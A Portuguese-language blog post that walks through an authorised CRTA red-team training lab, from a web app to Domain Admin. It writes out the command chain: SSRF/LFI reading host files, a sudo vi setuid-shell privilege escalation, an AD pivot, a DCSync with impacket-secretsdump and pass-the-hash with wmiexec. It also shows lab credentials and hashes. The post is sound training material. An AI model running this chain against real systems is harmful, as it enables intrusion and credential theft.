← Back to list

CRTA - da Aplicação Web ao Domain Admin

Walkthrough de um laboratório de treino da CRTA (Certified Red Team Analyst, CyberWarFare Labs). Cadeia completa, web app, SSRF/LFI…

Roger Zeferino · 2026-08-08 16:08 · 0 claps · 1.8 min read
#recon #enumeration #red-team #penetration-testing #cybersecurity
Open on Medium ↗
Wiki topics: SAF · Safety & Alignment 🌐 · Web Development 🔒 · Cybersecurity 📊 · Economic Policy

CRTA - da Aplicação Web ao Domain Admin

Walkthrough de um laboratório de treino da CRTA (Certified Red Team Analyst, CyberWarFare Labs). Cadeia completa, web app, SSRF/LFI, container breakout, SSH, root, pivot AD, DCSync, secret.xml. Dados sensíveis mascarados, ambiente de lab autorizado.

Repositório com a versão completa, https://github.com/rogerzeferino/crta-lab-writeup

Escopo

[CODE BLOCK]

172.26.10.0/24 (.1 out of scope)

Objetivo, recuperar secret.xml no DC (ent.corp)

[/CODE BLOCK]

Recon

[CODE BLOCK]

nmap -sn 172.26.10.0/24 # host discovery -> 172.26.10.11

nmap -Pn -p- -sV -sC -T4 172.26.10.11 # full port scan

[/CODE BLOCK]

[CODE BLOCK]

22/tcp ssh OpenSSH 9.6p1

8091/tcp http Node.js Express (HotHost)

23100/tcp http Werkzeug/Flask

[/CODE BLOCK]

Portas 8091 e 23100 fora do top 100. Full scan (-p-) foi necessário.

Enum web

HotHost (8091) é SPA React, retorna 200 com tamanho fixo pra qualquer rota. Fuzzing com filtro de tamanho.

[CODE BLOCK]

gobuster dir -u http://172.26.10.11:8091 -w raft-medium-directories.txt — exclude-length 2759 -t 50

-> /assets

[/CODE BLOCK]

Flask (23100) na raiz retorna.

[CODE BLOCK]

Only the /fetch route with ‘url’ parameter is allowed.

Example: /fetch?url=https://app.notion.com, To Access Host files go with ‘hostfs’ path

[/CODE BLOCK]

SSRF/LFI.

SSRF / LFI / container breakout

[CODE BLOCK]

curl -s “http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"

[/CODE BLOCK]

O container roda com -v /:/hostfs:ro (raiz do host montada). Leitura do host inteiro a partir da app. No passwd, credencial no campo GECOS.

[CODE BLOCK]

app-admin:x:1000:1000:@dmin@123:/home/app-admin:/bin/bash

[/CODE BLOCK]

Outros achados via LFI e código-fonte, rota /pug expondo secretToken, auth usando jwt.decode() (não valida assinatura), HOTHOST_WEB_ADMIN_PASSWORD na env do container, e db-pass em /assets/dummy.css.

Acesso inicial + privesc

[CODE BLOCK]

ssh app-admin@172.26.10.11 # @dmin@123

sudo -l # (ALL) /usr/bin/vi

sudo /usr/bin/vi -c ‘:!cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash’ -c ‘:q!’

/tmp/rootbash -p # euid=0

[/CODE BLOCK]

Pivot AD

[CODE BLOCK]

grep -rhoE “10.[0–9]+.[0–9]+.[0–9]+” /var/log/ | sort -u # -> 10.10.10.20

curl -sI http://10.10.10.20 # Apache/2.4.58

curl -s http://10.10.10.20/elfinder/files/AD_Resources.txt # creds sync_user

[/CODE BLOCK]

DC localizado por Kerberos.

[CODE BLOCK]

nmap -Pn -p 53,88,135,139,389,445,464,636,3268,3269 10.10.10.100 — open

DC = 10.10.10.100 / ent.corp / ENT-DC

[/CODE BLOCK]

DCSync + objetivo

[CODE BLOCK]

impacket-secretsdump ent.corp/sync_user:’[REDACTED]’@10.10.10.100

krbtgt:502:…:36405f88…:::

Administrator:500:…:3d15cb…:::

impacket-wmiexec -hashes :3d15cb…e316 Administrator@10.10.10.100

type “C:UsersAdministratorDesktopsecret.xml.txt”

[/CODE BLOCK]

secret.xml estava como .txt. Objetivo capturado.

Notas

Full scan -p- sempre. Mensagem de erro da app entregou o vetor. Montar -v /:/hostfs é breakout de container. sudo vi é GTFOBins privesc. Conta de sync de AD com replicação permite DCSync.

O impulso de complicar foi o que mais custou tempo. Duas respostas estavam expostas publicamente e eram simples. Testar o óbvio antes do sofisticado economiza horas.

Write-up técnico completo no GitHub, https://github.com/rogerzeferino/crta-lab-writeup


메타데이터
post_id
56bbb26f5bef
slug
crta-da-aplicação-web-ao-domain-admin-56bbb26f5bef
url
https://medium.com/@rogrtch/crta-da-aplica%C3%A7%C3%A3o-web-ao-domain-admin-56bbb26f5bef
canonical_url
https://medium.com/@rogrtch/crta-da-aplica%C3%A7%C3%A3o-web-ao-domain-admin-56bbb26f5bef
author_url
https://medium.com/@rogrtch
status
ok
fetched_at
2026-08-17 12:08:43